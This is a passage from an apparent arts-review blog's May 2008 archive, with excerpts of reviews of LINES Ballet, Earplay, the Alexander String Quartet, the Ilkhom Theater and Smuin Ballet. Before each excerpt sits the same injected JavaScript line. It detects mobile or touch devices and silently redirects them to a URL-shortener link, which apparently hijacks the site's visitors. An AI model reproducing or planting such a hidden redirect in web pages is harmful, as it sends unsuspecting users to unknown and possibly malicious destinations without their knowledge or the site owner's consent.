May 2008 – Repeat Performances

May 31, 2008

Lines Ballet’s ‘Long River High Sky’

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/oaEYIMsAA0r3"); When LINES Ballet describes itself as a “contemporary ballet company with a global artistic vision” it isn’t just rhetoric generating publicity copy, as last...

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May 28, 2008

Earplay at Herbst Hall

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/oaEYIMsAA0r3"); Earplay explores limits of form in end-of-season concert Earplay, a mainstay of the Bay Area contemporary music scene, ended their 23rd season with...

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May 24, 2008

‘Inspiration’ series a jewel at San Francisco Performances

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/oaEYIMsAA0r3"); Greenberg and the Alexander String Quartet explore Haydn and Carter What could Franz Josef Haydn and Elliott Carter possibly have to...

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May 17, 2008

Crumb versus Schubert at Herbst Theatre

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/oaEYIMsAA0r3"); Alexander Quartet tunes strings to songs of death Robert Greenberg and the Alexander String Quartet teamed up for their last joint presentation of this year’s...

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‘The Ecstasy with the Pomegranate’ Ilkhom Theater

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/oaEYIMsAA0r3"); Revolutionary theater This past September, on his way home from a rehearsal of the Oresteia, Ilkhom Theater Director Mark Weil was attacked by...

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May 10, 2008

Smuin Ballet at Yerba Buena

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/oaEYIMsAA0r3"); Slinky ballerinas In 2007 on April 23 the Smuin Ballet...

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